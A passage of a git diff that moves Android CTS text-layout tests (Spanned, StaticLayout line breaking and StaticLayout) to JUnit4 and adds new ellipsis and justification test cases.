+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+
+            try {
+                spanned.charAt(spanned.length());
+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+        }
+    }
+
+    @Test
+    public void testNextSpanTransition() {
+        final int flags = Spannable.SPAN_INCLUSIVE_INCLUSIVE;
+        final SpannableString text = new SpannableString("0123 5678");
+        text.setSpan(new QuoteSpan(), 0, 4, flags);
+        text.setSpan(new LocaleSpan((Locale) null), 2, 7, flags);
+        text.setSpan(new UnderlineSpan(), 5, text.length(), flags);
+        // Now there are span transitions at 0, 2, 4, 5, 7, and the end of string.
+
+        final Spanned[] spannedCases = makeSpanned(text);
+        for (Spanned spanned : spannedCases) {
+
+            assertEquals(4, spanned.nextSpanTransition(1, spanned.length(), QuoteSpan.class));
+            assertEquals(spanned.length(),
+                    spanned.nextSpanTransition(4, spanned.length(), QuoteSpan.class));
+            assertEquals(5, spanned.nextSpanTransition(4, spanned.length(), UnderlineSpan.class));
+
+            assertEquals(2, spanned.nextSpanTransition(0, spanned.length(), Object.class));
+            assertEquals(4, spanned.nextSpanTransition(2, spanned.length(), Object.class));
+            assertEquals(5, spanned.nextSpanTransition(4, spanned.length(), Object.class));
+            assertEquals(7, spanned.nextSpanTransition(5, spanned.length(), Object.class));
+            assertEquals(spanned.length(),
+                    spanned.nextSpanTransition(7, spanned.length(), Object.class));
+
+            // Test that 'null' catches all spans.
+            assertEquals(2, spanned.nextSpanTransition(0, spanned.length(), null));
+            assertEquals(4, spanned.nextSpanTransition(2, spanned.length(), null));
+            assertEquals(5, spanned.nextSpanTransition(4, spanned.length(), null));
+            assertEquals(7, spanned.nextSpanTransition(5, spanned.length(), null));
+            assertEquals(spanned.length(), spanned.nextSpanTransition(7, spanned.length(), null));
+
+            // 'start' can be negative.
+            assertEquals(0, spanned.nextSpanTransition(-1, spanned.length(), QuoteSpan.class));
+
+            // 'limit' can be high.
+            final int highLimit = spanned.length() + 1;
+            assertEquals(highLimit, spanned.nextSpanTransition(5, highLimit, QuoteSpan.class));
+
+            // 'limit' can be lower than 'start'. In such a case, limit should be returned.
+            assertEquals(1, spanned.nextSpanTransition(5, 1, QuoteSpan.class));
+        }
+    }
+}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
index 6e89ee5..24f9932 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
@@ -16,17 +16,26 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout.Alignment;
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
 import android.text.StaticLayout;
 import android.text.TextDirectionHeuristics;
 import android.text.TextPaint;
-import android.text.Layout.Alignment;
 import android.text.style.MetricAffectingSpan;
 import android.util.Log;
 
-public class StaticLayoutLineBreakingTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StaticLayoutLineBreakingTest {
     // Span test are currently not supported because text measurement uses the MeasuredText
     // internal mWorkPaint instead of the provided MockTestPaint.
     private static final boolean SPAN_TESTS_SUPPORTED = false;
@@ -37,8 +46,8 @@
     private static final int WIDTH = 100;
     private static final Alignment ALIGN = Alignment.ALIGN_LEFT;
 
-    final static char SURR_FIRST = '\uD800';
-    final static char SURR_SECOND = '\uDF31';
+    private static final char SURR_FIRST = '\uD800';
+    private static final char SURR_SECOND = '\uDF31';
 
     private static final int[] NO_BREAK = new int[] {};
 
@@ -116,12 +125,12 @@
     private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
         if (DEBUG) {
             int count = staticLayout.getLineCount();
-            Log.i("StaticLayoutLineBreakingTest", "\"" + source.toString() + "\": " +
+            Log.i("SLLBTest", "\"" + source.toString() + "\": " +
                     count + " lines");
             for (int line = 0; line < count; line++) {
                 int lineStart = staticLayout.getLineStart(line);
                 int lineEnd = staticLayout.getLineEnd(line);
-                Log.i("StaticLayoutLineBreakingTest", "Line " + line + " [" + lineStart + ".." +
+                Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".." +
                         lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
             }
         }
@@ -164,8 +173,7 @@
 
         debugLayout(source, staticLayout);
 
-        int lineCount = staticLayout.getLineCount();
-        assertTrue("Number of lines", lineCount <= maxLines);
+        final int lineCount = staticLayout.getLineCount();
 
         for (int line = 0; line < lineCount; line++) {
             int lineStart = staticLayout.getLineStart(line);
@@ -185,9 +193,9 @@
         }
     }
 
-    final static int MAX_SPAN_COUNT = 10;
-    final static int[] spanStarts = new int[MAX_SPAN_COUNT];
-    final static int[] spanEnds = new int[MAX_SPAN_COUNT];
+    private final static int MAX_SPAN_COUNT = 10;
+    private final static int[] spanStarts = new int[MAX_SPAN_COUNT];
+    private final static int[] spanEnds = new int[MAX_SPAN_COUNT];
 
     private static MetricAffectingSpan getMetricAffectingSpan() {
         return new MetricAffectingSpan() {
@@ -231,6 +239,7 @@
         return result;
     }
 
+    @Test
     public void testNoLineBreak() {
         // Width lower than WIDTH
         layout("", NO_BREAK);
@@ -262,6 +271,7 @@
         //      01234567890
     }
 
+    @Test
     public void testOneLineBreak() {
         //      01234567890
         layout("XX XXX XXXX", new int[] {7});
@@ -281,6 +291,7 @@
         layout("CC", new int[] {1});
     }
 
+    @Test
     public void testSpaceAtBreak() {
         //      0123456789012
         layout("XXXX XXXXX X", new int[] {11});
@@ -289,6 +300,7 @@
         layout("C X", new int[] {2});
     }
 
+    @Test
     public void testMultipleSpacesAtBreak() {
         //      0123456789012
         layout("LXX XXXX", new int[] {4});
@@ -298,6 +310,7 @@
         layout("LXX     XXXX", new int[] {8});
     }
 
+    @Test
     public void testZeroWidthCharacters() {
         //      0123456789012345678901234
         layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
@@ -312,6 +325,7 @@
      * To be able to use the fake mTextPaint and make this test pass, use mPaint instead of
      * mWorkPaint in MeasuredText#addStyleRun
      */
+    @Test
     public void testWithSpans() {
         if (!SPAN_TESTS_SUPPORTED) return;
 
@@ -332,6 +346,7 @@
     /*
      * Adding a span to the string should not change the layout, since the metrics are unchanged.
      */
+    @Test
     public void testWithOneSpan() {
         if (!SPAN_TESTS_SUPPORTED) return;
 
@@ -356,6 +371,7 @@
         }
     }
 
+    @Test
     public void testWithTwoSpans() {
         if (!SPAN_TESTS_SUPPORTED) return;
 
@@ -392,18 +408,7 @@
         return string.replaceAll(String.valueOf(c), String.valueOf(r));
     }
 
-    public void testReplacementSpan() {
-        // Add ReplacementSpan to the string
-    }
-
-    public void testParagraphs() {
-        // Add \n to the text
-    }
-
-    public void testWithEmoji() {
-        // Surrogate emoji characters get replaced by a bitmap
-    }
-
+    @Test
     public void testWithSurrogate() {
         layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
         layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
@@ -418,6 +423,7 @@
         layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
     }
 
+    @Test
     public void testNarrowWidth() {
         int[] widths = new int[] { 0, 4, 10 };
         String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
@@ -433,6 +439,7 @@
         }
     }
 
+    @Test
     public void testNarrowWidthZeroWidth() {
         int[] widths = new int[] { 1, 4 };
         for (int width: widths) {
@@ -449,6 +456,7 @@
         }
     }
 
+    @Test
     public void testMaxLines() {
         layoutMaxLines("C", NO_BREAK, 1);
         layoutMaxLines("C C", new int[] {2}, 1);
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index ed3f1ea..df60064 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -16,8 +16,15 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.graphics.Typeface;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -33,12 +40,18 @@
 import android.text.method.cts.EditorState;
 import android.text.style.StyleSpan;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.text.Normalizer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Locale;
 
-public class StaticLayoutTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StaticLayoutTest {
     private static final float SPACE_MULTI = 1.0f;
     private static final float SPACE_ADD = 0.0f;
     private static final int DEFAULT_OUTER_WIDTH = 150;
@@ -63,19 +76,14 @@
     private StaticLayout mDefaultLayout;
     private TextPaint mDefaultPaint;
 
-    private class TestingTextPaint extends TextPaint {
-        // need to have a subclass to insure measurement happens in Java and not C++
+    private static class TestingTextPaint extends TextPaint {
+        // need to have a subclass to ensure measurement happens in Java and not C++
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (mDefaultPaint == null) {
-            mDefaultPaint = new TextPaint();
-        }
-        if (mDefaultLayout == null) {
-            mDefaultLayout = createDefaultStaticLayout();
-        }
+    @Before
+    public void setup() {
+        mDefaultPaint = new TextPaint();
+        mDefaultLayout = createDefaultStaticLayout();
     }
 
     private StaticLayout createDefaultStaticLayout() {
@@ -100,11 +108,10 @@
                 maxLines);
     }
 
-
-
     /**
      * Constructor test
      */
+    @Test
     public void testConstructor() {
         new StaticLayout(LAYOUT_TEXT, mDefaultPaint, DEFAULT_OUTER_WIDTH,
                 DEFAULT_ALIGN, SPACE_MULTI, SPACE_ADD, true);
@@ -114,14 +121,14 @@
 
         new StaticLayout(LAYOUT_TEXT, 0, LAYOUT_TEXT.length(), mDefaultPaint,
                 DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN, SPACE_MULTI, SPACE_ADD, false, null, 0);
-
-        try {
-            new StaticLayout(null, null, -1, null, 0, 0, true);
-            fail("should throw NullPointerException here");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNull() {
+        new StaticLayout(null, null, -1, null, 0, 0, true);
+    }
+
+    @Test
     public void testBuilder() {
         {
             // Obtain.
@@ -136,8 +143,8 @@
             assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
                     layout.getTextDirectionHeuristic());
             assertEquals(Alignment.ALIGN_NORMAL, layout.getAlignment());
-            assertEquals(0.0f, layout.getSpacingAdd());
-            assertEquals(1.0f, layout.getSpacingMultiplier());
+            assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
+            assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
             assertEquals(DEFAULT_OUTER_WIDTH, layout.getEllipsizedWidth());
         }
         {
@@ -181,8 +188,8 @@
                     LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
             builder.setLineSpacing(1.0f, 2.0f);
             StaticLayout layout = builder.build();
-            assertEquals(1.0f, layout.getSpacingAdd());
-            assertEquals(2.0f, layout.getSpacingMultiplier());
+            assertEquals(1.0f, layout.getSpacingAdd(), 0.0f);
+            assertEquals(2.0f, layout.getSpacingMultiplier(), 0.0f);
         }
         {
             // setEllipsizedWidth and setEllipsize.
@@ -220,6 +227,16 @@
         }
     }
 
+    @Test
+    public void testBuilder_setJustificationMode() {
+        StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
+                LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_WORD);
+        StaticLayout layout = builder.build();
+        // Hard to expect the justification result. Just make sure the final layout is created
+        // without causing any exceptions.
+        assertNotNull(layout);
+    }
     /*
      * Get the line number corresponding to the specified vertical position.
      *  If you ask for a position above 0, you get 0. above 0 means pixel above the fire line
@@ -227,6 +244,7 @@
      *  if you ask for a position below the bottom of the text, you get the last line.
      *  Test 4 values containing -1, 0, normal number and > count
      */
+    @Test
     public void testGetLineForVertical() {
         assertEquals(0, mDefaultLayout.getLineForVertical(-1));
         assertEquals(0, mDefaultLayout.getLineForVertical(0));
@@ -237,6 +255,7 @@
     /**
      * Return the number of lines of text in this layout.
      */
+    @Test
     public void testGetLineCount() {
         assertEquals(LINE_COUNT, mDefaultLayout.getLineCount());
     }
@@ -247,21 +266,20 @@
      * A line of text contains top and bottom in height. this method just get the top of a line
      * Test 4 values containing -1, 0, normal number and > count
      */
+    @Test
     public void testGetLineTop() {
         assertTrue(mDefaultLayout.getLineTop(0) >= 0);
         assertTrue(mDefaultLayout.getLineTop(1) > mDefaultLayout.getLineTop(0));
+    }
 
-        try {
-            mDefaultLayout.getLineTop(-1);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetLineTopBeforeFirst() {
+        mDefaultLayout.getLineTop(-1);
+    }
 
-        try {
-            mDefaultLayout.getLineTop(LARGER_THAN_LINE_COUNT );
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetLineTopAfterLast() {
+        mDefaultLayout.getLineTop(LARGER_THAN_LINE_COUNT );
     }
 
     /**
@@ -269,41 +287,40 @@
      * This method just like getLineTop, descent means the bottom pixel of the line
      * Test 4 values containing -1, 0, normal number and > count
      */
+    @Test
     public void testGetLineDescent() {
         assertTrue(mDefaultLayout.getLineDescent(0) > 0);
         assertTrue(mDefaultLayout.getLineDescent(1) > 0);
+    }
 
-        try {
-            mDefaultLayout.getLineDescent(-1);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetLineDescentBeforeFirst() {
+        mDefaultLayout.getLineDescent(-1);
+    }
 
-        try {
-            mDefaultLayout.getLineDescent(LARGER_THAN_LINE_COUNT );
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetLineDescentAfterLast() {
+        mDefaultLayout.getLineDescent(LARGER_THAN_LINE_COUNT );
     }
 
     /**
      * Returns the primary directionality of the paragraph containing the specified line.
      * By default, each line should be same
      */
+    @Test
     public void testGetParagraphDirection() {
         assertEquals(mDefaultLayout.getParagraphDirection(0),
                 mDefaultLayout.getParagraphDirection(1));
-        try {
-            mDefaultLayout.getParagraphDirection(-1);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    }
 
-        try {
-            mDefaultLayout.getParagraphDirection(LARGER_THAN_LINE_COUNT);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetParagraphDirectionBeforeFirst() {
+        mDefaultLayout.getParagraphDirection(-1);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetParagraphDirectionAfterLast() {
+        mDefaultLayout.getParagraphDirection(LARGER_THAN_LINE_COUNT );
     }
 
     /**
@@ -312,41 +329,39 @@
      * Test 4 values containing -1, 0, normal number and > count
      * Each line's offset must >= 0
      */
+    @Test
     public void testGetLineStart() {
         assertTrue(mDefaultLayout.getLineStart(0) >= 0);
         assertTrue(mDefaultLayout.getLineStart(1) >= 0);
+    }
 
-        try {
-            mDefaultLayout.getLineStart(-1);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetLineStartBeforeFirst() {
+        mDefaultLayout.getLineStart(-1);
+    }
 
-        try {
-            mDefaultLayout.getLineStart(LARGER_THAN_LINE_COUNT);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetLineStartAfterLast() {
+        mDefaultLayout.getLineStart(LARGER_THAN_LINE_COUNT );
     }
 
     /*
      * Returns whether the specified line contains one or more tabs.
      */
+    @Test
     public void testGetContainsTab() {
         assertTrue(mDefaultLayout.getLineContainsTab(0));
         assertFalse(mDefaultLayout.getLineContainsTab(1));
+    }
 
-        try {
-            mDefaultLayout.getLineContainsTab(-1);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetContainsTabBeforeFirst() {
+        mDefaultLayout.getLineContainsTab(-1);
+    }
 
-        try {
-            mDefaultLayout.getLineContainsTab(LARGER_THAN_LINE_COUNT );
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetContainsTabAfterLast() {
+        mDefaultLayout.getLineContainsTab(LARGER_THAN_LINE_COUNT );
     }
 
     /**
@@ -356,27 +371,27 @@
      * We can not check the return value, for Directions's field is package private
      * So only check it not null
      */
-    public void testGetLineDirections() {
+    @Test
+    public void testGetLineDirections(){
         assertNotNull(mDefaultLayout.getLineDirections(0));
         assertNotNull(mDefaultLayout.getLineDirections(1));
+    }
 
-        try {
-            mDefaultLayout.getLineDirections(-1);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testGetLineDirectionsBeforeFirst() {
+        mDefaultLayout.getLineDirections(-1);
+    }
 
-        try {
-            mDefaultLayout.getLineDirections(LARGER_THAN_LINE_COUNT);
-            fail("should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testGetLineDirectionsAfterLast() {
+        mDefaultLayout.getLineDirections(LARGER_THAN_LINE_COUNT);
     }
 
     /**
      * Returns the (negative) number of extra pixels of ascent padding
      * in the top line of the Layout.
      */
+    @Test
     public void testGetTopPadding() {
         assertTrue(mDefaultLayout.getTopPadding() < 0);
     }
@@ -384,6 +399,7 @@
     /**
      * Returns the number of extra pixels of descent padding in the bottom line of the Layout.
      */
+    @Test
     public void testGetBottomPadding() {
         assertTrue(mDefaultLayout.getBottomPadding() > 0);
     }
@@ -392,6 +408,7 @@
      * Returns the number of characters to be ellipsized away, or 0 if no ellipsis is to take place.
      * So each line must >= 0
      */
+    @Test
     public void testGetEllipsisCount() {
         // Multilines (6 lines) and TruncateAt.START so no ellipsis at all
         mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
@@ -459,6 +476,7 @@
      * relative to the start of the line.
      * (So 0 if the beginning of the line is ellipsized, not getLineStart().)
      */
+    @Test
     public void testGetEllipsisStart() {
         mDefaultLayout = createEllipsizeStaticLayout();
         assertTrue(mDefaultLayout.getEllipsisStart(0) >= 0);
@@ -484,6 +502,7 @@
      * ellipsizedWidth if argument is not null
      * outerWidth if argument is null
      */
+    @Test
     public void testGetEllipsizedWidth() {
         int ellipsizedWidth = 60;
         int outerWidth = 100;
@@ -498,6 +517,7 @@
         assertEquals(outerWidth, layout.getEllipsizedWidth());
     }
 
+    @Test
     public void testEllipsis_singleLine() {
         {
             // Single line case and TruncateAt.END so that we have some ellipsis
@@ -523,37 +543,75 @@
                     TextUtils.TruncateAt.MARQUEE, 1);
             assertTrue(layout.getEllipsisCount(0) == 0);
         }
+        {
+            final String text = "\u3042" // HIRAGANA LETTER A
+                    + "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz";
+            final float textWidth = mDefaultPaint.measureText(text);
+            final int halfWidth = (int)(textWidth / 2.0f);
+            {
+                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
+                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
+                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
+                assertTrue(layout.getEllipsisCount(0) > 0);
+                assertTrue(layout.getEllipsisStart(0) > 0);
+            }
+            {
+                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
+                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
+                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.START, halfWidth, 1);
+                assertTrue(layout.getEllipsisCount(0) > 0);
+                assertEquals(0, mDefaultLayout.getEllipsisStart(0));
+            }
+            {
+                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
+                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
+                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MIDDLE, halfWidth, 1);
+                assertTrue(layout.getEllipsisCount(0) > 0);
+                assertTrue(layout.getEllipsisStart(0) > 0);
+            }
+            {
+                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
+                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
+                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MARQUEE, halfWidth, 1);
+                assertEquals(0, layout.getEllipsisCount(0));
+            }
+        }
 
-        final String text = "\u3042" // HIRAGANA LETTER A
-                + "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz";
-        final float textWidth = mDefaultPaint.measureText(text);
-        final int halfWidth = (int)(textWidth / 2.0f);
         {
-            StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                    halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                    SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
-            assertTrue(layout.getEllipsisCount(0) > 0);
-            assertTrue(layout.getEllipsisStart(0) > 0);
+            // The white spaces in this text will be trailing if maxLines is larger than 1, but
+            // width of the trailing white spaces must not be ignored if ellipsis is applied.
+            final String text = "abc                                             def";
+            final float textWidth = mDefaultPaint.measureText(text);
+            final int halfWidth = (int)(textWidth / 2.0f);
+            {
+                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
+                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
+                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
+                assertTrue(layout.getEllipsisCount(0) > 0);
+                assertTrue(layout.getEllipsisStart(0) > 0);
+            }
         }
+
         {
-            StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                    halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                    SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.START, halfWidth, 1);
-            assertTrue(layout.getEllipsisCount(0) > 0);
-            assertEquals(0, mDefaultLayout.getEllipsisStart(0));
-        }
-        {
-            StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                    halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                    SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MIDDLE, halfWidth, 1);
-            assertTrue(layout.getEllipsisCount(0) > 0);
-            assertTrue(layout.getEllipsisStart(0) > 0);
-        }
-        {
-            StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                    halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                    SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MARQUEE, halfWidth, 1);
-            assertEquals(0, layout.getEllipsisCount(0));
+            // 2 family emojis (11 code units + 11 code units).
+            final String text = "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66"
+                    + "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66";
+            final float textWidth = mDefaultPaint.measureText(text);
+
+            final TextUtils.TruncateAt[] kinds = {TextUtils.TruncateAt.START,
+                    TextUtils.TruncateAt.MIDDLE, TextUtils.TruncateAt.END};
+            for (final TextUtils.TruncateAt kind : kinds) {
+                for (int i = 0; i <= 8; i++) {
+                    int avail = (int)(textWidth * i / 7.0f);
+                    StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
+                            avail, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
+                            SPACE_MULTI, SPACE_ADD, false, kind, avail, 1);
+
+                    assertTrue(layout.getEllipsisCount(0) == text.length()
+                                    || layout.getEllipsisCount(0) == text.length() / 2
+                                    || layout.getEllipsisCount(0) == 0);
+                }
+            }
         }
     }
 
@@ -563,6 +621,7 @@
      * 2. change the text
      * 3. Check the text won't change to the StaticLayout
     */
+    @Test
     public void testImmutableStaticLayout() {
         Editable editable =  Editable.Factory.getInstance().newEditable("123\t\n555");
         StaticLayout layout = new StaticLayout(editable, mDefaultPaint,
@@ -609,9 +668,9 @@
     };
 
     private List<CharSequence> buildTestCharSequences(String testString, Normalizer.Form[] forms) {
-        List<CharSequence> result = new ArrayList<CharSequence>();
+        List<CharSequence> result = new ArrayList<>();
 
-        List<String> normalizedStrings = new ArrayList<String>();
+        List<String> normalizedStrings = new ArrayList<>();
         for (Normalizer.Form form: forms) {
             normalizedStrings.add(Normalizer.normalize(testString, form));
         }
@@ -650,6 +709,7 @@
                 ", Normalization: " + normalized;
     }
 
+    @Test
     public void testGetOffset_ASCII() {
         String testStrings[] = { "abcde", "ab\ncd", "ab\tcd", "ab\n\nc", "ab\n\tc" };
 
@@ -701,6 +761,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE() {
         String testStrings[] = new String[] {
               // Cyrillic alphabets.
@@ -733,6 +794,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE_Normalization() {
         // "A" with acute, circumflex, tilde, diaeresis, ring above.
         String testString = "\u00C1\u00C2\u00C3\u00C4\u00C5";
@@ -791,6 +853,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE_SurrogatePairs() {
         // Emoticons for surrogate pairs tests.
         String testString =
@@ -827,6 +890,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE_Thai() {
         // Thai Characters. The expected cursorable boundary is
         // | \u0E02 | \u0E2D | \u0E1A | \u0E04\u0E38 | \u0E13 |
@@ -855,6 +919,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE_Hebrew() {
         String testString = "\u05DE\u05E1\u05E2\u05D3\u05D4"; // Hebrew Characters
         for (CharSequence seq: buildTestCharSequences(testString, Normalizer.Form.values())) {
@@ -880,6 +945,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE_Arabic() {
         // Arabic Characters. The expected cursorable boundary is
         // | \u0623 \u064F | \u0633 \u0652 | \u0631 \u064E | \u0629 \u064C |";
@@ -914,6 +980,7 @@
         }
     }
 
+    @Test
     public void testGetOffset_UNICODE_Bidi() {
         // String having RTL characters and LTR characters
 
@@ -1000,6 +1067,7 @@
         state.mSelectionStart = state.mSelectionEnd = newOffset;
     }
 
+    @Test
     public void testGetOffset_Emoji() {
         EditorState state = new EditorState();
 
@@ -1124,6 +1192,7 @@
         state.assertEquals("| U+1F1E6 U+1F1E8 U+1F1E6 U+1F1E8 U+1F1E6 U+1F1E8");
     }
 
+    @Test
     public void testGetOffsetForHorizontal_Multilines() {
         // Emoticons for surrogate pairs tests.
         String testString = "\uD83D\uDE00\uD83D\uDE01\uD83D\uDE02\uD83D\uDE03\uD83D\uDE04";
@@ -1145,6 +1214,7 @@
         assertEquals(testString.length(), layout.getOffsetForHorizontal(lineCount - 1, width * 2));
     }
 
+    @Test
     public void testIsRtlCharAt() {
         {
             String testString = "ab(\u0623\u0624)c\u0625";
@@ -1177,21 +1247,23 @@
         }
     }
 
+    @Test
     public void testGetHorizontal() {
         String testString = "abc\u0623\u0624\u0625def";
         StaticLayout layout = new StaticLayout(testString, mDefaultPaint,
                 DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN, SPACE_MULTI, SPACE_ADD, true);
 
-        assertEquals(layout.getPrimaryHorizontal(0), layout.getSecondaryHorizontal(0));
+        assertEquals(layout.getPrimaryHorizontal(0), layout.getSecondaryHorizontal(0), 0.0f);
         assertTrue(layout.getPrimaryHorizontal(0) < layout.getPrimaryHorizontal(3));
         assertTrue(layout.getPrimaryHorizontal(3) < layout.getSecondaryHorizontal(3));
         assertTrue(layout.getPrimaryHorizontal(4) < layout.getSecondaryHorizontal(3));
-        assertEquals(layout.getPrimaryHorizontal(4), layout.getSecondaryHorizontal(4));
-        assertEquals(layout.getPrimaryHorizontal(3), layout.getSecondaryHorizontal(6));
